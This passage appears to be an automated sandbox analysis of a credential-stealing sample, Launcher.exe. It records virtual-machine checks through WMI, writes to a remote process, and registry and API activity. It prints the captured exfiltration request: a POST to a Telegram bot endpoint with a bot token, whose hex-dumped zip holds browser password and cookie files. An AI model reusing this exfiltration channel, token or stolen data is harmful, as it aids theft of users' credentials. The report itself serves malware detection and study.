Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00001120.00000001.300863.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.06150000.00000004.mdmp, 00000000-00001120.00000003.313592.00330000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00003424.00000002.303043.1C140000.00000004.mdmp, 00000000-00003424.00000003.313608.1C140000.00000004.mdmp") Found reference to API "rt Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00003424.00000002.303043.1C140000.00000004.mdmp, 00000000-00003424.00000003.313608.1C140000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00003424.00000002.303043.1C140000.00000004.mdmp, 00000000-00003424.00000003.313608.1C140000.00000004.mdmp")6b:T124d,"ECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; File: "00000000-00003424.00000003.313608.00302000.00000020.mdmp") "SELECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001120.00000001.300863.00330000.00000004.mdmp") "FROM Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00001120.00000001.300863.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.00330000.00000004.mdmp") "SELECT * FROM win32_operatingsystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00001120.00000002.302787.00330000.00000004.mdmp") "Select * From Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001120.00000003.313592.00330000.00000004.mdmp") "SELECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000001.301217.00E30000.00000004.mdmp, 00000000-00001472.00000002.303140.00E30000.00000004.mdmp, 00000000-00001472.00000003.313639.00E30000.00000004.mdmp") "nstance of Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001472.00000003.313639.00E30000.00000004.mdmp, 00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "instance of Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001472.00000003.313639.00E30000.00000004.mdmp, 00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "nstance of Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.00E30000.00000004.mdmp, 00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "nstance of Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00001472.00000003.313639.00E30000.00000004.mdmp") "instance of Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "instance of Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "of Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "e of Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "e of Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "select * from Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "Select * From Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "6-Select * from Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "instance of Win32_VideoController{AdapterCompatibility = 'VMware, Inc.';AdapterDACType = 'n/a';AdapterRAM = 8388608;Availability = 3;Caption = 'VMware SVGA 3D';ConfigManagerErrorCode = 0;ConfigManagerUserConfig = FALSE;CreationClassName = 'Win32_VideoController';CurrentBitsPerPixel = 32;CurrentHorizontalResolution = 1728;CurrentNumberOfColors = '4294967296';CurrentNumberOfColumns = 0;CurrentNumberOfRows = 0;CurrentRefreshRate = 60;CurrentScanMode = 4;CurrentVerticalResolution = 804;Description = 'VMware SVGA 3D';DeviceID = 'VideoController1';DitherType = 0;DriverDate = '20221130000000.000000-000';DriverVersion = '9.17.5.1';InfFilename = 'oem17.inf';InfSection = 'VM3D_SVGA2_AMD64';InstalledDisplayDriversK" (Indicator: " win32_videocontroller"; Source: "00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp") "ELECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00003424.00000001.301123.12790000.00000004.mdmp, 00000000-00003424.00000002.303043.12790000.00000004.mdmp, 00000000-00003424.00000003.313608.00302000.00000020.mdmp, 00000000-00003424.00000003.313608.12790000.00000004.mdmp") "SELECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp") "select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00003424.00000002.303043.02790000.00000004.mdmp") "SELECT * FROM Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00004752.00000001.301355.00D30000.00000004.mdmp, 00000000-00004752.00000002.303279.00D30000.00000004.mdmp")6c:T588,Wrote 134 instructions to a remote process Wrote 153 instructions to a remote process Wrote 46 instructions to a remote process Wrote 105 instructions to a remote process Wrote 70 instructions to a remote process Wrote 1 instructions to a remote process Wrote 96 instructions to a remote process Wrote 31 instructions to a remote process Wrote 52 instructions to a remote process Wrote 25 instructions to a remote process Wrote 3 instructions to a remote process Wrote 22 instructions to a remote process Wrote 17 instructions to a remote process Wrote 41 instructions to a remote process Wrote 16 instructions to a remote process Wrote 8 instructions to a remote process Wrote 47 instructions to a remote process Wrote 121 instructions to a remote process Wrote 36 instructions to a remote process Wrote 27 instructions to a remote process Wrote 38 instructions to a remote process Wrote 13 instructions to a remote process Wrote 10 instructions to a remote process Wrote 34 instructions to a remote process Wrote 7 instructions to a remote process Wrote 90 instructions to a remote process Wrote 29 instructions to a remote process Wrote 19 instructions to a remote process Wrote 60 instructions to a remote process Wrote 15 instructions to a remote process Wrote 9 instructions to a remote process Wrote 12 instructions to a remote process Wrote 14 instructions to a remote process6d:T8f5,"Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\CUSTOM\LAUNCHER.EXE") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "Launcher.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "Launcher.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KINDMAP") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KINDMAP")6e:T912,Found string "SHAutoComplete" (Source: Launcher.exe, API is part of module: SHLWAPI.DLL) Found string "GetUserDefaultUILanguage" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "MulDiv" (Source: Launcher.exe, API is part of module: KERNEL32.DLL) Found string "DeleteFileA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "FindFirstFileA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "FindNextFileA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "FindClose" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "SetFilePointer" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "ReadFile" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "WriteFile" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GetPrivateProfileStringA" (Source: Launcher.exe, API is part of module: KERNEL32.DLL) Found string "WritePrivateProfileStringA" (Source: Launcher.exe, API is part of module: KERNEL32.DLL) Found string "MultiByteToWideChar" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "FreeLibrary" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GetProcAddress" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "LoadLibraryExA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GetModuleHandleA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "SetErrorMode" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GetExitCodeProcess" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "WaitForSingleObject" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GlobalAlloc" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "GlobalFree" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "ExpandEnvironmentStringsA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "lstrcmpA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL) Found string "lstrcmpiA" (Source: Launcher.exe, API is part of module: KERNELBASE.DLL)6f:Te49,Contains base64 string in header "POST" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "1Content" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "data" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "471cd215" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "4fee" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "4472" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "9ca2" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "73d784526520" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "Host" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "telegram" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "254632Connection" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive"70:T4018,Found string "POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="471cd215-4fee-4472-9ca2-73d784526520"Host: api.telegram.orgContent-Length: 254632Connection: Keep-Alive2d:2d:34:37:31:63:64:32:31:35:2d:34:66:65:65:2d:34:34:37:32:2d:39:63:61:32:2d:37:33:64:37:38:34:35:32:36:35:32:30:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:70:6c:61:69:6e:3b:20:63:68:61:72:73:65:74:3d:75:74:66:2d:38:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:63:68:61:74:5f:69:64:0d:0a:0d:0a:36:31:30:31:35:34:30:32:39:37:0d:0a:2d:2d:34:37:31:63:64:32:31:35:2d:34:66:65:65:2d:34:34:37:32:2d:39:63:61:32:2d:37:33:64:37:38:34:35:32:36:35:32:30:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:70:6c:61:69:6e:3b:20:63:68:61:72:73:65:74:3d:75:74:66:2d:38:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:63:61:70:74:69:6f:6e:0d:0a:0d:0a:4c:6f:67:2d:32:30:32:35:30:39:31:37:2d:55:68:4d:41:68:0d:0a:2d:2d:34:37:31:63:64:32:31:35:2d:34:66:65:65:2d:34:34:37:32:2d:39:63:61:32:2d:37:33:64:37:38:34:35:32:36:35:32:30:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:64:6f:63:75:6d:65:6e:74:3b:20:66:69:6c:65:6e:61:6d:65:3d:63:73:45:41:66:6b:64:47:52:45:76:46:2e:7a:69:70:3b:20:66:69:6c:65:6e:61:6d:65:2a:3d:75:74:66:2d:38:27:27:63:73:45:41:66:6b:64:47:52:45:76:46:2e:7a:69:70:0d:0a:0d:0a:50:4b:03:04:14:00:00:00:08:00:82:78:31:5b:67:6b:65:27:97:03:00:00:70:0e:00:00:11:00:00:00:41:64:61:70:74:65:72:57:61:74:63:68:2e:68:74:6d:6c:bd:57:6d:6f:a3:46:10:fe:5e:a9:ff:61:8e:4a:95:23:19:f3:62:70:4c:4a:2c:f9:2d:17:4b:b1:4d:63:47:d1:7d:5c:c3:d8:a0:e0:5d:b4:2c:47:ac:aa:ff:fd:16:fc:a2:4a:57:01:51:dc:62:23:6c:18:9e:67:66:76:66:76:c6:fd:32:59:8e:d7:df:bc:29:3c:ae:e7:4f:e0:bd:8c:9e:66:63:50:54:4d:7b:ed:8e:35:6d:b2:9e:1c:1f:74:3b:26:3c:44:94:c4:9a:36:5d:28:83:5f:7f:71:43:b1:8f:07:6e:88:24:18:b8:22:12:31:0e:86:01:49:04:f2:14:9e:31:61:5c:b8:da:f1:b6:ab:95:42:f2:95:0d:0b:0e:f2:0a:6e:d8:fd:59:58:de:2b:44:b8:c4:b4:06:63:8e:44:60:00:9b:03:64:69:44:77:e0:12:08:39:6e:ef:95:50:88:e4:4e:d3:f2:3c:ef:d0:88:a7:6c:2b:3a:14:85:a6:80:20:7c:87:e2:5e:a1:98:e7:11:55:ce:04:af:44:f8:a1:ab:91:42:0d:6b:e0:26:52:59:b2:89:11:36:8c:07:c8:ef:15:43:01:1f:e3:38:21:41:20:79:ee:15:5b:91:12:1c:36:3b:9f:c5:4c:3e:9f:ea:c5:a7:b4:58:84:83:29:15:fc:00:0b:b2:c7:e3:ff:19:15:18:b7:9e:6f:c0:7b:5e:6a:86:ae:eb:30:5f:c3:02:45:ce:f8:1b:8c:19:a5:e8:8b:88:d1:42:58:1a:26:82:0b:ee:6f:0f:c5:a1:03:65:39:27:c9:59:d9:12:f9:67:b1:87:b3:d8:5f:53:c3:34:47:8e:69:a9:23:6b:3a:51:2d:ab:7b:ab:8e:c6:8e:a5:0e:9d:de:a8:37:1c:3a:ba:31:ea:fd:5d:cb:36:c1:d4:e7:51:52:68:56:41:76:2d:db:1e:09:0f:72:c2:11:86:41:c0:31:4d:2b:28:75:5d:b5:e5:b7:a7:3a:86:7a:6b:4a:d3:1a:3b:6e:46:03:7c:af:42:7e:d7:8f:c7:43:63:c8:f5:21:a9:5a:8b:a9:08:91:cb:d0:ab:f7:f6:e3:d8:83:29:2d:a2:2e:a8:c0:fb:86:69:2d:d4:cc:3b:3b:11:ab:dc:68:38:66:c7:e8:f5:3b:ba:4c:da:96:69:db:9d:f3:a9:df:34:88:8d:2d:c9:62:01:5f:65:fe:e5:e4:d0:88:c5:68:e6:83:15:f2:ef:c8:af:84:f8:3a:5b:ac:1a:78:75:c1:6a:91:3c:1e:ed:89:cc:ea:12:b1:56:c7:df:e9:26:4d:fe:a8:05:5d:a1:cf:68:50:c0:5e:17:b7:74:e4:13:92:14:61:b9:11:24:a2:b2:48:0e:45:05:ae:a3:19:b7:9a:a9:9b:36:74:ef:f4:ee:9d:65:80:37:ff:08:cb:f4:3d:89:64:c0:35:27:31:fb:0d:49:e6:e4:3d:da:67:7b:58:73:42:d3:7d:94:a6:b2:98:c0:0b:8d:04:b4:e6:eb:97:9b:aa:38:b1:75:bd:3e:57:64:f9:e2:5b:e2:23:ac:12:94:5e:6a:8d:22:91:82:27:13:fb:b8:36:95:04:6d:59:29:ce:67:2d:d3:29:0a:b5:49:94:d6:85:e3:49:b4:16:72:99:20:27:45:75:25:31:ac:04:11:59:55:ba:ff:43:b8:16:f8:19:7d:8c:be:4b:77:4c:88:20:15:98:66:5b:77:fa:ed:be:d3:6d:1b:ba:0d:a3:83:68:50:9d:56:48:45:1d:ae:25:5d:7a:db:6b:db:8e:d1:10:74:4c:62:3f:8b:cb:66:e0:b8:8e:cb:2d:34:35:a2:61:4e:fd:1b:45:13:5b:1a:c2:5f:b4:95:b1:ed:93:54:80:47:fc:37:94:b1:58:19:80:5d:c7:68:5b:5d:ab:99:d3:3f:80:6c:f7:fa:ed:9e:5d:1f:d4:17:ad:17:8c:aa:1f:c0:af:47:2e:35:be:3a:ea:8c:fa:6c:5f:74:8a:c9:09:4d:84:44:40:8e:b2:ef:08:a2:d4:97:3d:48:d1:4e:a2:4f:32:59:d4:d8:16:90:73:c6:2b:7b:91:fa:24:cd:c4:8e:fd:bf:94:8d:ac:cc:23:11:b2:4c:1c:f9:fe:7b:0b:af:47:f7:d1:35:cc:e8:9b:7c:93:42:c2:99:60:12:f1:b3:b6:26:d2:8a:3f:33:cc:50:ee:7d:74:27:c2:cf:19:73:e9:d5:60:98:09:a6:ca:8e:79:1b:ed:b2:63:a5:86:d6:d0:9b:79:c3:aa:3d:a8:e9:56:21:79:c8:89:87:14:3c:fe:89:e7:38:3d:95:34:9f:eb:8f:26:97:f6:a5:59:cf:59:f4:6e:5a:39:64:c9:a1:a9:f8:5d:8e:7d:72:fc:2a:06:c6:1f:50:4b:03:04:14:00:00:00:08:00:a1:78:31:5b:96:30:f8:88:04:00:00:00:02:00:00:00:16:00:00:00:43:68:72:6f:6d:65:56:32:30:50:61:73:73:77:6f:72:64:73:2e:74:78:74:fb:ff:0f:00:50:4b:03:04:14:00:00:00:08:00:33:8b:31:5b:cd:a0:77:cd:84:04:00:00:93:0a:00:00:0b:00:00:00:63:6f:6f:6b:69:65:73:2e:74:78:74:b5:55:d9:6e:db:46:14:7d:66:80:fc:83:14:3b:46:83:80:d2:ec:8b:50:01:e6:6a:29:91:17:68:71:9c:04:88:40:91:43:91:16:45:c9:24:65:c8:81:ff:ac:0f:fd:a4:fe:42:47:b6:eb:3a:88:95:a8:68:0b:10:e4:00:bc:3c:73:96:7b:87:7f:fc:f6:fb:5e:ed:44:55:65:18:2c:55:ad:33:1c:9e:d5:9c:c5:62:96:aa:9a:9f:66:ea:e5:8b:bd:5a:52:55:cb:b2:d5:6c:86:ab:22:6b:24:c1:7a:dd:28:55:b3:88:c3:66:78:57:37:2e:97:2a:6c:24:d5:3c:db:14:0f:93:b4:ac:e9:2b:a8:4d:55:ae:8a:a0:52:51:2d:d6:40:f5:9a:bb:a8:e5:8b:aa:a6:a2:b4:6a:bc:7c:f1:f2:45:23:88:f2:75:d9:08:17:73:63:d8:1f:79:46:f3:fe:01:39:95:90:02:00:b1:11:e4:97:46:34:3c:e6:b3:fa:31:69:fc:7a:78:88:df:d4:0f:0f:cd:bd:7a:7d:bd:3f:b7:f6:2e:2e:6f:cc:99:ff:d9:eb:fe:e2:95:8d:9b:d3:f8:b2:a8:f2:ec:e6:4a:b2:e0:2c:f9:b2:df:de:7f:53:6f:d8:3d:d4:27:e9:e7:ab:11:55:ec:e2:82:76:eb:fe:98:34:49:d8:21:a0:98:c4:24:69:c9:1e:69:46:f5:cf:92:67:b3:d6:80:76:90:55:7f:db:ff:72:53:07:e8:4d:5c:37:0f:e9:e1:db:af:d5:da:da:85:e9:6a:95:46:c8:c0:08:12:c6:04:95:7a:c1:19:86:08:d1:5d:3e:be:b0:4e:dc:fe:f8:cc:3a:e9:ba:c6:e9:87:61:3f:91:e0:b2:3b:9f:75:d2:ec:88:44:37:80:95:e3:2c:0a:73:7b:22:0a:ff:6a:34:e0:c3:b8:1f:f3:4f:83:c9:f4:0a:b0:04:f4:ce:57:f3:8f:67:27:4e:64:5d:4f:3f:4c:17:cb:34:cb:a6:6e:f7:e3:07:67:9c:a8:f7:82:c3:f4:74:f4:ee:1d:fb:ea:9a:22:1d:ba:6e:8c:c1:35:45:83:a3:73:2c:3e:ea:10:1a:93:34:9f:3e:43:4d:50:c0:35:35:64:1c:8f:34:27:68:79:c4:06:44:13:16:8c:11:47:6b:c3:c8:c2:2e:a1:02:20:46:1d:5b:e3:84:3f:45:1a:f4:8f:c7:f6:7f:07:75:bc:1b:d4:bc:cc:b7:23:e1:dd:91:b2:34:9f:e9:c6:7d:0e:8c:33:28:a1:40:cc:98:dc:8f:83:f1:ea:ba:8d:0e:22:29:90:0c:18:32:05:8f:62:93:20:25:4d:11:cb:d0:a4:41:04:10:12:51:28:b9:7c:a5:81:9f:23:08:8c:b1:33:f6:86:1d:03:7e:5f:e0:5b:bd:c1:5d:85:e7:1e:79:e3:81:31:e8:ba:6d:24:85:63:11:8a:24:42:92:31:46:a1:07:a4:8d:b0:90:58:58:8c:73:be:0d:45:73:17:98:6a:ee:f8:01:ee:fc:b9:1d:bf:e9:56:82:0d:fd:7a:b5:34:5e:73:fb:35:42:61:ae:d6:fa:f1:1a:5b:fa:9e:2f:36:4b:ee:6e:85:78:b4:7d:d7:ae:7a:1e:46:22:0e:11:13:c0:18:0d:fa:bd:53:c7:f8:ae:50:45:53:f5:28:91:71:20:85:d0:bc:97:d3:ac:32:37:af:9c:a4:58:cc:d3:d5:dc:8c:92:a5:41:36:8a:f3:6a:b9:cd:21:9d:22:d4:b2:99:51:2e:ab:79:50:cc:54:35:2e:54:59:2d:0a:15:19:2a:37:47:83:db:db:55:79:ab:57:4f:ee:b7:b7:61:dc:16:b7:7d:15:5b:6d:89:6d:ea:3a:c4:f6:81:cf:09:a2:48:2f:3c:e2:f9:1c:0b:c1:20:c6:6e:43:57:39:6d:04:10:36:81:34:11:1c:42:da:02:bc:05:e1:27:cd:6b:a9:c7:59:b3:0a:b7:75:dc:78:3c:9f:ea:83:67:6c:04:42:70:3e:89:c0:44:44:01:50:7c:82:e2:55:19:5f:03:30:97:49:0c:b9:12:1a:ab:0c:35:e7:30:28:22:4d:5f:05:45:98:6c:0d:48:8b:bd:cb:07:38:4c:7f:80:63:a5:bd:e6:21:c1:80:04:a1:d0:31:51:88:39:d1:55:ff:14:f4:62:47:d0:a0:2c:f5:df:e8:27:2d:4b:ef:9a:c8:36:10:e1:ae:b0:80:6d:11:0f:32:ec:0a:0c:10:97:be:43:2d:6a:b9:0c:11:f7:f9:74:ff:a2:76:1f:ae:6e:c8:34:2c:16:e5:22:ae:ac:e5:32:4b:c3:a0:4a:17:79:39:54:99:9a:ab:aa:b8:71:d5:75:1a:aa:6e:64:70:49:94:94:3a:2a:3d:32:81:49:e2:09:37:27:80:c5:66:48:18:98:d0:10:b1:98:47:bb:6c:28:8c:e3:81:7f:e6:18:47:5a:42:5b:0b:62:0a:31:24:30:12:04:a2:28:c0:81:22:21:8a:45:48:03:3d:bc:f4:a0:63:0d:3a:77:55:07:bd:f3:4d:a7:68:3f:0f:ce:db:e4:a0:37:6a:3f:fa:a6:09:c9:1f:37:f2:e3:a8:ff:1b:df:1e:a7:42:ff:e2:f4:ae:e8:ef:a9:f8:ff:87:e1:7b:3a:4f:e6:fc:ee:c8:b4:56:55:b2:39:0d:ca:a2:9a:fc:c4:06:f6:60:c3:0e:87:d0:0f:d1:24:82:74:83:f6:8d:0f:5a:f7:16:1f:e4:bd:0f:b6:6d:f9:80:7a:ae:e0:1e:21:0e:b3:24:13:be:e7:70:5f:58:90:13:c9:c0:a3:0f:d4:04:c4:84:64:08:45:0b:f3:16:60:9f:1e:f8:98:c1:7a:7b:34:4f:0e:d9:9d:05:fe:10:70:93:b5:06:dc:51:e3:43:d6:dc:c1:12:3b:40